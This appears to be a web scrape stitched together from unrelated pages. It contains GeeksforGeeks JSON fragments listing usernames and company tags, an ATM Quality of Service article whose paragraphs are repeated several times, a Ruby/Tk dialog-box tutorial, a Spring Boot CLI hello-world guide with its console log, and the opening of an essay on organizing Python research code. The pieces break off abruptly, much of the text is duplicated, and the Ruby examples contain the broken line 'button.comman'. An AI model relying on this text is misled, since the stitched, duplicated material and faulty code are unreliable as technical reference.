"text": "maheshbauri"
},
{
"code": null,
"e": 23594,
"s": 23581,
"text": "singh_teekam"
},
{
"code": null,
"e": 23602,
"s": 23594,
"text": "clintra"
},
{
"code": null,
"e": 23614,
"s": 23602,
"text": "chandra8226"
},
{
"code": null,
"e": 23626,
"s": 23614,
"text": "umadevi9616"
},
{
"code": null,
"e": 23642,
"s": 23626,
"text": "simranarora5sos"
},
{
"code": null,
"e": 23655,
"s": 23642,
"text": "tarunkumar11"
},
{
"code": null,
"e": 23670,
"s": 23655,
"text": "maayanasahanin"
},
{
"code": null,
"e": 23683,
"s": 23670,
"text": "suyashgulati"
},
{
"code": null,
"e": 23700,
"s": 23683,
"text": "hardikkoriintern"
},
{
"code": null,
"e": 23707,
"s": 23700,
"text": "Amazon"
},
{
"code": null,
"e": 23713,
"s": 23707,
"text": "Cisco"
},
{
"code": null,
"e": 23722,
"s": 23713,
"text": "D-E-Shaw"
},
{
"code": null,
"e": 23731,
"s": 23722,
"text": "Flipkart"
},
{
"code": null,
"e": 23741,
"s": 23731,
"text": "Microsoft"
},
{
"code": null,
"e": 23756,
"s": 23741,
"text": "Morgan Stanley"
},
{
"code": null,
"e": 23765,
"s": 23756,
"text": "Ola Cabs"
},
{
"code": null,
"e": 23770,
"s": 23765,
"text": "Payu"
},
{
"code": null,
"e": 23779,
"s": 23770,
"text": "Qualcomm"
},
{
"code": null,
"e": 23787,
"s": 23779,
"text": "Samsung"
},
{
"code": null,
"e": 23804,
"s": 23787,
"text": "tree-level-order"
},
{
"code": null,
"e": 23810,
"s": 23804,
"text": "Queue"
},
{
"code": null,
"e": 23815,
"s": 23810,
"text": "Tree"
},
{
"code": null,
"e": 23824,
"s": 23815,
"text": "Flipkart"
},
{
"code": null,
"e": 23839,
"s": 23824,
"text": "Morgan Stanley"
},
{
"code": null,
"e": 23846,
"s": 23839,
"text": "Amazon"
},
{
"code": null,
"e": 23856,
"s": 23846,
"text": "Microsoft"
},
{
"code": null,
"e": 23864,
"s": 23856,
"text": "Samsung"
},
{
"code": null,
"e": 23873,
"s": 23864,
"text": "D-E-Shaw"
},
{
"code": null,
"e": 23882,
"s": 23873,
"text": "Ola Cabs"
},
{
"code": null,
"e": 23887,
"s": 23882,
"text": "Payu"
},
{
"code": null,
"e": 23893,
"s": 23887,
"text": "Cisco"
},
{
"code": null,
"e": 23902,
"s": 23893,
"text": "Qualcomm"
},
{
"code": null,
"e": 23908,
"s": 23902,
"text": "Queue"
},
{
"code": null,
"e": 23913,
"s": 23908,
"text": "Tree"
},
{
"code": null,
"e": 24011,
"s": 23913,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 24051,
"s": 24011,
"text": "Breadth First Search or BFS for a Graph"
},
{
"code": null,
"e": 24067,
"s": 24051,
"text": "Queue in Python"
},
{
"code": null,
"e": 24091,
"s": 24067,
"text": "Queue Interface In Java"
},
{
"code": null,
"e": 24123,
"s": 24091,
"text": "Introduction to Data Structures"
},
{
"code": null,
"e": 24142,
"s": 24123,
"text": "Queue using Stacks"
},
{
"code": null,
"e": 24171,
"s": 24142,
"text": "AVL Tree | Set 1 (Insertion)"
},
{
"code": null,
"e": 24203,
"s": 24171,
"text": "Introduction to Data Structures"
},
{
"code": null,
"e": 24267,
"s": 24203,
"text": "What is Data Structure: Types, Classifications and Applications"
}
] |
Quality of Service (QoS) in ATM
|
08 Jul, 2022
Quality of Service (QoS) is a type of Networking Technology that can guarantee a specific level of output for a specific connection, path, or type of traffic. QoS mechanisms provide control on both quality and availability of bandwidth whereas another network provides only a best-effort delivery.
QoS feature is used when there is traffic congestion in-network, it gives priority to certain real-time media. A high level of QoS is used while transmitting real-time multimedia to eliminate latency and dropouts. Asynchronous Transfer Mode (ATM) is a networking technology that uses a certain level of QoS in data transmission.
The Quality of Service in ATM is based on following: Classes, User-related attributes, and Network-related attributes.These are explained as following below.
1. Classes :The ATM Forum defines four service classes that are explained below –
Constant Bit Rate (CBR) –CBR is mainly for users who want real-time audio or video services. The service provided by a dedicated line. For example, T line is similar to CBR class service.Variable Bit Rate (VBR) –VBR class is divided into two sub classes –(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class.(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class.Available Bit Rate (ABR) –ABR is used to deliver cells at a specific minimum rate and if more network capacity is available, then minimum rate can be exceeded. ABR is very much suitable for applications that have high traffic.Unspecified Bit Rate (UBR) –UBR class and it is a best-effort delivery service that does not guarantee anything.
Constant Bit Rate (CBR) –CBR is mainly for users who want real-time audio or video services. The service provided by a dedicated line. For example, T line is similar to CBR class service.
Variable Bit Rate (VBR) –VBR class is divided into two sub classes –(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class.(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class.
(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class.
(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class.
Available Bit Rate (ABR) –ABR is used to deliver cells at a specific minimum rate and if more network capacity is available, then minimum rate can be exceeded. ABR is very much suitable for applications that have high traffic.
Unspecified Bit Rate (UBR) –UBR class and it is a best-effort delivery service that does not guarantee anything.
The above diagram shows relationship of different classes to total capacity of network.2. User Related Attributes :ATM defines two sets of attributes and User-related attribute is one of them. They are those type attributes that define at what speed user wants to transmit data. These are negotiated during time of contract between a network and a customer.
The following are some user-related attributes –
Sustained Cell Rate (SCR) –SCR is average cell rate over a long time interval. The original cell rate can be less or greater than value of SCR, but average must be equal to or less than value of SCR.Peak Cell Rate (PCR) –PCR is defined as maximum cell rate of sender. As long as SCR is maintained, cell rate of user can reach this peak value.Minimum Cell Rate (MCR) –MCR defines minimum cell rate acceptable to sender. For example, if MCR is 50,000, network must guarantee that sender can send at least 50,000 cells per second.Cell Variation Delay Tolerance (CVDT) –CVDT is a measure of the variation in cell transmission times. Let’s take an example if value of CVDT is 8 ns, this signifies that difference between minimum and maximum delays in delivering the cells should not be greater than 8 ns.
Sustained Cell Rate (SCR) –SCR is average cell rate over a long time interval. The original cell rate can be less or greater than value of SCR, but average must be equal to or less than value of SCR.
Peak Cell Rate (PCR) –PCR is defined as maximum cell rate of sender. As long as SCR is maintained, cell rate of user can reach this peak value.
Minimum Cell Rate (MCR) –MCR defines minimum cell rate acceptable to sender. For example, if MCR is 50,000, network must guarantee that sender can send at least 50,000 cells per second.
Cell Variation Delay Tolerance (CVDT) –CVDT is a measure of the variation in cell transmission times. Let’s take an example if value of CVDT is 8 ns, this signifies that difference between minimum and maximum delays in delivering the cells should not be greater than 8 ns.
3. Network-Related AttributesThe attributes that are used to define different characteristics of network are known as Network-related attributes.The following are some network-related attributes –
Cell Loss Ratio (CLR) –CLR defines the fraction of cells lost (or delivered so late that they are considered lost) during transmission. For example, if sender sends 100 cells and one of them is lost, CLR isCLR = 1/100Cell Transfer Delay (CTD) –The average time taken by a cell for traveling from source to destination is known as Cell transfer delay. The maximum CTD and minimum CTD are also considered attributes.Cell Delay Variation (CDV) –CDV is difference between CTD maximum and CTD minimum.Cell Error Ratio (CER) –CER defines fraction of cells delivered in error.
Cell Loss Ratio (CLR) –CLR defines the fraction of cells lost (or delivered so late that they are considered lost) during transmission. For example, if sender sends 100 cells and one of them is lost, CLR isCLR = 1/100
CLR = 1/100
Cell Transfer Delay (CTD) –The average time taken by a cell for traveling from source to destination is known as Cell transfer delay. The maximum CTD and minimum CTD are also considered attributes.
Cell Delay Variation (CDV) –CDV is difference between CTD maximum and CTD minimum.
Cell Error Ratio (CER) –CER defines fraction of cells delivered in error.
pall58183
Computer Networks
Computer Networks
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n08 Jul, 2022"
},
{
"code": null,
"e": 326,
"s": 28,
"text": "Quality of Service (QoS) is a type of Networking Technology that can guarantee a specific level of output for a specific connection, path, or type of traffic. QoS mechanisms provide control on both quality and availability of bandwidth whereas another network provides only a best-effort delivery."
},
{
"code": null,
"e": 655,
"s": 326,
"text": "QoS feature is used when there is traffic congestion in-network, it gives priority to certain real-time media. A high level of QoS is used while transmitting real-time multimedia to eliminate latency and dropouts. Asynchronous Transfer Mode (ATM) is a networking technology that uses a certain level of QoS in data transmission."
},
{
"code": null,
"e": 813,
"s": 655,
"text": "The Quality of Service in ATM is based on following: Classes, User-related attributes, and Network-related attributes.These are explained as following below."
},
{
"code": null,
"e": 895,
"s": 813,
"text": "1. Classes :The ATM Forum defines four service classes that are explained below –"
},
{
"code": null,
"e": 1878,
"s": 895,
"text": "Constant Bit Rate (CBR) –CBR is mainly for users who want real-time audio or video services. The service provided by a dedicated line. For example, T line is similar to CBR class service.Variable Bit Rate (VBR) –VBR class is divided into two sub classes –(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class.(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class.Available Bit Rate (ABR) –ABR is used to deliver cells at a specific minimum rate and if more network capacity is available, then minimum rate can be exceeded. ABR is very much suitable for applications that have high traffic.Unspecified Bit Rate (UBR) –UBR class and it is a best-effort delivery service that does not guarantee anything."
},
{
"code": null,
"e": 2066,
"s": 1878,
"text": "Constant Bit Rate (CBR) –CBR is mainly for users who want real-time audio or video services. The service provided by a dedicated line. For example, T line is similar to CBR class service."
},
{
"code": null,
"e": 2524,
"s": 2066,
"text": "Variable Bit Rate (VBR) –VBR class is divided into two sub classes –(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class.(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class."
},
{
"code": null,
"e": 2723,
"s": 2524,
"text": "(i) Real-time (VBR-RT) :The users who need real-time transmission services like audio and video and they also use compression techniques to create a variable bit rate, they use VBR-RT service class."
},
{
"code": null,
"e": 2915,
"s": 2723,
"text": "(ii) Non-real Time (VBR-NRT) :The users who do not need real-time transmission services but they use compression techniques to create a variable bit rate, then they use VBR-NRT service class."
},
{
"code": null,
"e": 3142,
"s": 2915,
"text": "Available Bit Rate (ABR) –ABR is used to deliver cells at a specific minimum rate and if more network capacity is available, then minimum rate can be exceeded. ABR is very much suitable for applications that have high traffic."
},
{
"code": null,
"e": 3255,
"s": 3142,
"text": "Unspecified Bit Rate (UBR) –UBR class and it is a best-effort delivery service that does not guarantee anything."
},
{
"code": null,
"e": 3613,
"s": 3255,
"text": "The above diagram shows relationship of different classes to total capacity of network.2. User Related Attributes :ATM defines two sets of attributes and User-related attribute is one of them. They are those type attributes that define at what speed user wants to transmit data. These are negotiated during time of contract between a network and a customer."
},
{
"code": null,
"e": 3662,
"s": 3613,
"text": "The following are some user-related attributes –"
},
{
"code": null,
"e": 4462,
"s": 3662,
"text": "Sustained Cell Rate (SCR) –SCR is average cell rate over a long time interval. The original cell rate can be less or greater than value of SCR, but average must be equal to or less than value of SCR.Peak Cell Rate (PCR) –PCR is defined as maximum cell rate of sender. As long as SCR is maintained, cell rate of user can reach this peak value.Minimum Cell Rate (MCR) –MCR defines minimum cell rate acceptable to sender. For example, if MCR is 50,000, network must guarantee that sender can send at least 50,000 cells per second.Cell Variation Delay Tolerance (CVDT) –CVDT is a measure of the variation in cell transmission times. Let’s take an example if value of CVDT is 8 ns, this signifies that difference between minimum and maximum delays in delivering the cells should not be greater than 8 ns."
},
{
"code": null,
"e": 4662,
"s": 4462,
"text": "Sustained Cell Rate (SCR) –SCR is average cell rate over a long time interval. The original cell rate can be less or greater than value of SCR, but average must be equal to or less than value of SCR."
},
{
"code": null,
"e": 4806,
"s": 4662,
"text": "Peak Cell Rate (PCR) –PCR is defined as maximum cell rate of sender. As long as SCR is maintained, cell rate of user can reach this peak value."
},
{
"code": null,
"e": 4992,
"s": 4806,
"text": "Minimum Cell Rate (MCR) –MCR defines minimum cell rate acceptable to sender. For example, if MCR is 50,000, network must guarantee that sender can send at least 50,000 cells per second."
},
{
"code": null,
"e": 5265,
"s": 4992,
"text": "Cell Variation Delay Tolerance (CVDT) –CVDT is a measure of the variation in cell transmission times. Let’s take an example if value of CVDT is 8 ns, this signifies that difference between minimum and maximum delays in delivering the cells should not be greater than 8 ns."
},
{
"code": null,
"e": 5462,
"s": 5265,
"text": "3. Network-Related AttributesThe attributes that are used to define different characteristics of network are known as Network-related attributes.The following are some network-related attributes –"
},
{
"code": null,
"e": 6032,
"s": 5462,
"text": "Cell Loss Ratio (CLR) –CLR defines the fraction of cells lost (or delivered so late that they are considered lost) during transmission. For example, if sender sends 100 cells and one of them is lost, CLR isCLR = 1/100Cell Transfer Delay (CTD) –The average time taken by a cell for traveling from source to destination is known as Cell transfer delay. The maximum CTD and minimum CTD are also considered attributes.Cell Delay Variation (CDV) –CDV is difference between CTD maximum and CTD minimum.Cell Error Ratio (CER) –CER defines fraction of cells delivered in error."
},
{
"code": null,
"e": 6250,
"s": 6032,
"text": "Cell Loss Ratio (CLR) –CLR defines the fraction of cells lost (or delivered so late that they are considered lost) during transmission. For example, if sender sends 100 cells and one of them is lost, CLR isCLR = 1/100"
},
{
"code": null,
"e": 6262,
"s": 6250,
"text": "CLR = 1/100"
},
{
"code": null,
"e": 6460,
"s": 6262,
"text": "Cell Transfer Delay (CTD) –The average time taken by a cell for traveling from source to destination is known as Cell transfer delay. The maximum CTD and minimum CTD are also considered attributes."
},
{
"code": null,
"e": 6543,
"s": 6460,
"text": "Cell Delay Variation (CDV) –CDV is difference between CTD maximum and CTD minimum."
},
{
"code": null,
"e": 6617,
"s": 6543,
"text": "Cell Error Ratio (CER) –CER defines fraction of cells delivered in error."
},
{
"code": null,
"e": 6627,
"s": 6617,
"text": "pall58183"
},
{
"code": null,
"e": 6645,
"s": 6627,
"text": "Computer Networks"
},
{
"code": null,
"e": 6663,
"s": 6645,
"text": "Computer Networks"
}
] |
Ruby/TK - Standard Dailog Box
|
Dialog boxes are a type of window used in applications to get some information from the user, inform them that some event has occurred, confirm an action and more.
The appearance and usage of dialog boxes is usually quite specifically detailed in a platform's style guide. Tk comes with a number of dialog boxes built-in for common tasks, and which help you conform to platform specific style guidelines.
Ruby/Tk provides several dialogs to let the user select files or directories. The open variant on the dialog is used when you want the user to select an existing file, while the save variant is used to choose a file to save. There are four variants, which can be used −
Tk.getOpenFile − To have one open file dialog box.
Tk.getOpenFile − To have one open file dialog box.
Tk.getSaveFile − To have one save file dialog box.
Tk.getSaveFile − To have one save file dialog box.
Tk.chooseDirectory − To have one choose directory dialog box.
Tk.chooseDirectory − To have one choose directory dialog box.
Tk.chooseColor − To have one choose color dialog box.
Tk.chooseColor − To have one choose color dialog box.
Following example will explain how to create Open file dialog box.
require 'tk'
root = TkRoot.new
root.title = "Window"
button_click = Proc.new {
Tk.getOpenFile
}
button = TkButton.new(root) do
text "button"
pack("side" => "left", "padx"=> "50", "pady"=> "50")
end
button.comman = button_click
Tk.mainloop
This will produce the following result −
Following example will explain how to create Choose Color dialog box.
require 'tk'
root = TkRoot.new
root.title = "Window"
button_click = Proc.new {
Tk.chooseColor
}
button = TkButton.new(root) do
text "button"
pack("side" => "left", "padx"=> "50", "pady"=> "50")
end
button.comman = button_click
Tk.mainloop
This will produce the following result −
46 Lectures
9.5 hours
Eduonix Learning Solutions
97 Lectures
7.5 hours
Skillbakerystudios
227 Lectures
40 hours
YouAccel
19 Lectures
10 hours
Programming Line
51 Lectures
5 hours
Stone River ELearning
39 Lectures
4.5 hours
Stone River ELearning
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2458,
"s": 2294,
"text": "Dialog boxes are a type of window used in applications to get some information from the user, inform them that some event has occurred, confirm an action and more."
},
{
"code": null,
"e": 2699,
"s": 2458,
"text": "The appearance and usage of dialog boxes is usually quite specifically detailed in a platform's style guide. Tk comes with a number of dialog boxes built-in for common tasks, and which help you conform to platform specific style guidelines."
},
{
"code": null,
"e": 2969,
"s": 2699,
"text": "Ruby/Tk provides several dialogs to let the user select files or directories. The open variant on the dialog is used when you want the user to select an existing file, while the save variant is used to choose a file to save. There are four variants, which can be used −"
},
{
"code": null,
"e": 3020,
"s": 2969,
"text": "Tk.getOpenFile − To have one open file dialog box."
},
{
"code": null,
"e": 3071,
"s": 3020,
"text": "Tk.getOpenFile − To have one open file dialog box."
},
{
"code": null,
"e": 3122,
"s": 3071,
"text": "Tk.getSaveFile − To have one save file dialog box."
},
{
"code": null,
"e": 3173,
"s": 3122,
"text": "Tk.getSaveFile − To have one save file dialog box."
},
{
"code": null,
"e": 3235,
"s": 3173,
"text": "Tk.chooseDirectory − To have one choose directory dialog box."
},
{
"code": null,
"e": 3297,
"s": 3235,
"text": "Tk.chooseDirectory − To have one choose directory dialog box."
},
{
"code": null,
"e": 3351,
"s": 3297,
"text": "Tk.chooseColor − To have one choose color dialog box."
},
{
"code": null,
"e": 3405,
"s": 3351,
"text": "Tk.chooseColor − To have one choose color dialog box."
},
{
"code": null,
"e": 3472,
"s": 3405,
"text": "Following example will explain how to create Open file dialog box."
},
{
"code": null,
"e": 3726,
"s": 3472,
"text": "require 'tk'\n\nroot = TkRoot.new\nroot.title = \"Window\"\n\nbutton_click = Proc.new {\n Tk.getOpenFile\n}\n\nbutton = TkButton.new(root) do\n text \"button\"\n pack(\"side\" => \"left\", \"padx\"=> \"50\", \"pady\"=> \"50\")\nend\n\nbutton.comman = button_click\n\nTk.mainloop"
},
{
"code": null,
"e": 3767,
"s": 3726,
"text": "This will produce the following result −"
},
{
"code": null,
"e": 3837,
"s": 3767,
"text": "Following example will explain how to create Choose Color dialog box."
},
{
"code": null,
"e": 4091,
"s": 3837,
"text": "require 'tk'\n\nroot = TkRoot.new\nroot.title = \"Window\"\n\nbutton_click = Proc.new {\n Tk.chooseColor\n}\n\nbutton = TkButton.new(root) do\n text \"button\"\n pack(\"side\" => \"left\", \"padx\"=> \"50\", \"pady\"=> \"50\")\nend\n\nbutton.comman = button_click\n\nTk.mainloop"
},
{
"code": null,
"e": 4132,
"s": 4091,
"text": "This will produce the following result −"
},
{
"code": null,
"e": 4167,
"s": 4132,
"text": "\n 46 Lectures \n 9.5 hours \n"
},
{
"code": null,
"e": 4195,
"s": 4167,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 4230,
"s": 4195,
"text": "\n 97 Lectures \n 7.5 hours \n"
},
{
"code": null,
"e": 4250,
"s": 4230,
"text": " Skillbakerystudios"
},
{
"code": null,
"e": 4285,
"s": 4250,
"text": "\n 227 Lectures \n 40 hours \n"
},
{
"code": null,
"e": 4295,
"s": 4285,
"text": " YouAccel"
},
{
"code": null,
"e": 4329,
"s": 4295,
"text": "\n 19 Lectures \n 10 hours \n"
},
{
"code": null,
"e": 4347,
"s": 4329,
"text": " Programming Line"
},
{
"code": null,
"e": 4380,
"s": 4347,
"text": "\n 51 Lectures \n 5 hours \n"
},
{
"code": null,
"e": 4403,
"s": 4380,
"text": " Stone River ELearning"
},
{
"code": null,
"e": 4438,
"s": 4403,
"text": "\n 39 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 4461,
"s": 4438,
"text": " Stone River ELearning"
},
{
"code": null,
"e": 4468,
"s": 4461,
"text": " Print"
},
{
"code": null,
"e": 4479,
"s": 4468,
"text": " Add Notes"
}
] |
Spring Boot CLI - Hello World Example
|
In this example, we'll create a Spring Boot + MVC + Rest based Web application.
Create a folder FirstApplication in E:\Test folder.
Create FirstApplication.groovy file in E:\Test folder with following source code.
@RestController
class FirstApplication {
@RequestMapping("/")
String welcome() {
"Welcome to TutorialsPoint.Com"
}
}
Type the following command
E:/Test/> spring run FirstApplication.groovy
Now Spring Boot CLI will come into action, download required dependencies, run the embedded tomcat, deploy the application and start it. You can see the following output on console.
E:\Test>spring run FirstApplication.groovy
Resolving dependencies...............................
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v2.6.3)
2022-02-03 11:12:42.683 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : Starting application using Java 11.0.11 on DESKTOP-86KD9FC with PID 6956 (started by intel in F:\Test)
2022-02-03 11:12:42.710 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : No active profile set, falling back to default profiles: default
2022-02-03 11:12:45.110 INFO 6956 --- [ runner-0] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
2022-02-03 11:12:45.138 INFO 6956 --- [ runner-0] o.apache.catalina.core.StandardService : Starting service [Tomcat]
2022-02-03 11:12:45.139 INFO 6956 --- [ runner-0] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.56]
2022-02-03 11:12:45.229 INFO 6956 --- [ runner-0] org.apache.catalina.loader.WebappLoader : Unknown class loader [org.springframework.boot.cli.compiler.ExtendedGroovyClassLoader$DefaultScopeParentClassLoader@8646db9] of class [class org.springframework.boot.cli.compiler.ExtendedGroovyClassLoader$DefaultScopeParentClassLoader]
2022-02-03 11:12:45.333 INFO 6956 --- [ runner-0] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext
2022-02-03 11:12:45.333 INFO 6956 --- [ runner-0] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2124 ms
2022-02-03 11:12:46.901 INFO 6956 --- [ runner-0] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
2022-02-03 11:12:46.930 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : Started application in 5.416 seconds (JVM running for 49.049)
2022-02-03 11:13:48.910 INFO 6956 --- [nio-8080-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring DispatcherServlet 'dispatcherServlet'
2022-02-03 11:13:48.912 INFO 6956 --- [nio-8080-exec-1] o.s.web.servlet.DispatcherServlet : Initializing Servlet 'dispatcherServlet'
2022-02-03 11:13:48.915 INFO 6956 --- [nio-8080-exec-1] o.s.web.servlet.DispatcherServlet : Completed initialization in 3 ms
Our spring based rest application is now ready. Open url as "http://localhost:8080/" and you will see the following output.
Welcome to TutorialsPoint.Com
Following actions are taken by Spring CLI.
All dependency JARs are downloaded for the first time only.
All dependency JARs are downloaded for the first time only.
Spring CLI automatically detects which dependency JARs are to be downloaded based on the classes and annotations used in code.
Spring CLI automatically detects which dependency JARs are to be downloaded based on the classes and annotations used in code.
Finally it compiles the code, deploy the war on a embedded tomcat, start embedded tomcat server on the default port 8080.
Finally it compiles the code, deploy the war on a embedded tomcat, start embedded tomcat server on the default port 8080.
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2089,
"s": 2009,
"text": "In this example, we'll create a Spring Boot + MVC + Rest based Web application."
},
{
"code": null,
"e": 2141,
"s": 2089,
"text": "Create a folder FirstApplication in E:\\Test folder."
},
{
"code": null,
"e": 2223,
"s": 2141,
"text": "Create FirstApplication.groovy file in E:\\Test folder with following source code."
},
{
"code": null,
"e": 2355,
"s": 2223,
"text": "@RestController\nclass FirstApplication {\n @RequestMapping(\"/\")\n String welcome() {\n \"Welcome to TutorialsPoint.Com\"\n }\n}"
},
{
"code": null,
"e": 2382,
"s": 2355,
"text": "Type the following command"
},
{
"code": null,
"e": 2428,
"s": 2382,
"text": "E:/Test/> spring run FirstApplication.groovy\n"
},
{
"code": null,
"e": 2610,
"s": 2428,
"text": "Now Spring Boot CLI will come into action, download required dependencies, run the embedded tomcat, deploy the application and start it. You can see the following output on console."
},
{
"code": null,
"e": 5194,
"s": 2610,
"text": "E:\\Test>spring run FirstApplication.groovy\nResolving dependencies...............................\n\n . ____ _ __ _ _\n /\\\\ / ___'_ __ _ _(_)_ __ __ _ \\ \\ \\ \\\n( ( )\\___ | '_ | '_| | '_ \\/ _` | \\ \\ \\ \\\n \\\\/ ___)| |_)| | | | | || (_| | ) ) ) )\n ' |____| .__|_| |_|_| |_\\__, | / / / /\n =========|_|==============|___/=/_/_/_/\n :: Spring Boot :: (v2.6.3)\n\n2022-02-03 11:12:42.683 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : Starting application using Java 11.0.11 on DESKTOP-86KD9FC with PID 6956 (started by intel in F:\\Test)\n2022-02-03 11:12:42.710 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : No active profile set, falling back to default profiles: default\n2022-02-03 11:12:45.110 INFO 6956 --- [ runner-0] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)\n2022-02-03 11:12:45.138 INFO 6956 --- [ runner-0] o.apache.catalina.core.StandardService : Starting service [Tomcat]\n2022-02-03 11:12:45.139 INFO 6956 --- [ runner-0] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.56]\n2022-02-03 11:12:45.229 INFO 6956 --- [ runner-0] org.apache.catalina.loader.WebappLoader : Unknown class loader [org.springframework.boot.cli.compiler.ExtendedGroovyClassLoader$DefaultScopeParentClassLoader@8646db9] of class [class org.springframework.boot.cli.compiler.ExtendedGroovyClassLoader$DefaultScopeParentClassLoader]\n2022-02-03 11:12:45.333 INFO 6956 --- [ runner-0] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext\n2022-02-03 11:12:45.333 INFO 6956 --- [ runner-0] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2124 ms\n2022-02-03 11:12:46.901 INFO 6956 --- [ runner-0] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''\n2022-02-03 11:12:46.930 INFO 6956 --- [ runner-0] o.s.boot.SpringApplication : Started application in 5.416 seconds (JVM running for 49.049)\n2022-02-03 11:13:48.910 INFO 6956 --- [nio-8080-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring DispatcherServlet 'dispatcherServlet'\n2022-02-03 11:13:48.912 INFO 6956 --- [nio-8080-exec-1] o.s.web.servlet.DispatcherServlet : Initializing Servlet 'dispatcherServlet'\n2022-02-03 11:13:48.915 INFO 6956 --- [nio-8080-exec-1] o.s.web.servlet.DispatcherServlet : Completed initialization in 3 ms\n"
},
{
"code": null,
"e": 5318,
"s": 5194,
"text": "Our spring based rest application is now ready. Open url as \"http://localhost:8080/\" and you will see the following output."
},
{
"code": null,
"e": 5349,
"s": 5318,
"text": "Welcome to TutorialsPoint.Com\n"
},
{
"code": null,
"e": 5392,
"s": 5349,
"text": "Following actions are taken by Spring CLI."
},
{
"code": null,
"e": 5452,
"s": 5392,
"text": "All dependency JARs are downloaded for the first time only."
},
{
"code": null,
"e": 5512,
"s": 5452,
"text": "All dependency JARs are downloaded for the first time only."
},
{
"code": null,
"e": 5639,
"s": 5512,
"text": "Spring CLI automatically detects which dependency JARs are to be downloaded based on the classes and annotations used in code."
},
{
"code": null,
"e": 5766,
"s": 5639,
"text": "Spring CLI automatically detects which dependency JARs are to be downloaded based on the classes and annotations used in code."
},
{
"code": null,
"e": 5888,
"s": 5766,
"text": "Finally it compiles the code, deploy the war on a embedded tomcat, start embedded tomcat server on the default port 8080."
},
{
"code": null,
"e": 6010,
"s": 5888,
"text": "Finally it compiles the code, deploy the war on a embedded tomcat, start embedded tomcat server on the default port 8080."
},
{
"code": null,
"e": 6017,
"s": 6010,
"text": " Print"
},
{
"code": null,
"e": 6028,
"s": 6017,
"text": " Add Notes"
}
] |
How to organize code in Python if you are a scientist | by Victor Serban | Towards Data Science
|
If you work in computational research or data science and you don’t come from a Computer Science background, you probably generated amazing pieces of scientific knowledge, but the code you wrote to do it prevents you from indulging in academic glory. You might need a week yourself to make your scripts do the same things again. Even if you are an experienced coder, you might find it hard to do both the job of a developer and that of a scientist.
I have faced this challenge myself as a research student. Although I took classes in Software Engineering, I found it hard to divert from the research questions I was handed to think about how I can create useful tools out of my code. After some trial and error, I designed a recipe to help me make the transition seamlessly and now I use it in my exploratory work as a Data Scientist.
In this article, I share the way I organize my coding workflow, give you some tips and tricks and show you the tool stack I use. The goal is to make the transition from experimentation to tool development easier.
For research to be reproducible, you need to log all the stuff you are doing. This might be a burden if you just want to experiment as fast as possible and do ad-hoc analysis.
The tool I use for experimentation is Jupyter Notebook. The interactive programming interface allows you to check what your code does instantaneously, so you can build algorithms step by step. Moreover, you can use Markdown cells to write down your thinking and conclusions, along with the code. This makes it really easy to log and report everything you do.
You can find plenty of Jupyter tutorials on the web. I recommend getting familiar with the Keyboard Shortcuts (they are described under the Help menu of the editor), as they will accelerate your work significantly.
In digital experiments, looping through experimental variables is really simple. After all, the power of computers comes from their capacity to do things over and over again.
I structure the formal experiments as in the code below.
I keep all the important variables for the current experiment in lists at the beginning of the file for transparency.
A thing to consider here is what to do with the output of each iteration: should you process it into a visualization, compute a metric or store it? The application and desired form of reporting dictates this choice.
A Notebook file should be created for each significant piece of experimentation, and it is up to you to decide what that means. I save an experiment with a relevant title and a versioning number for each time I repeat it using different parameters or a new way of doing things.
